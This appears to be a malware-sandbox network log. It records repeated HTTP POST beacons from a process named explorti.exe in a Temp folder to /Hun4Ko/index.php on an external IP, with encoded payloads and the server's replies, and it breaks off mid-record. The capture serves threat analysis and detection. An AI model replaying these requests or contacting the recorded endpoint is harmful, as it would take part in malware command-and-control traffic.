Jul 2, 2024 12:23:15.082993031 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:15.769869089 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.7	55354	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:15.894898891 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:16.606092930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.7	55355	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:16.619673014 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:17.338784933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.7	55356	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:17.450325966 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:18.140562057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.7	55357	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:18.157053947 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:18.871036053 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.7	55358	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:18.981204033 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:19.686001062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	55360	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:19.816772938 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:20.499702930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	55361	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:20.512765884 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:21.218977928 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.7	55362	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:21.341113091 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:22.029983044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.7	55363	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:22.045106888 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:22.762979031 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.7	55364	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:22.889916897 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:23.614275932 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	55365	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:23.624196053 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:24.329320908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.7	55366	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:24.449497938 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:25.151875973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.7	55367	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:25.161400080 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:25.847846031 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.7	55368	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:25.972771883 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:26.693078995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.7	55369	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:26.704760075 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:27.409389019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.7	55370	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:27.529592991 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:28.218702078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.7	55371	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:28.228276968 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:28.938640118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	55372	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:29.060051918 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:29.767106056 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.7	55373	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:29.790170908 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:30.482217073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.7	55374	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:30.747318983 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:31.437700987 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.7	55375	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:31.449176073 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:23:32.516511917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	55376	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:23:32.636653900 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:23:33.755651951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:23:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.7	55377	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
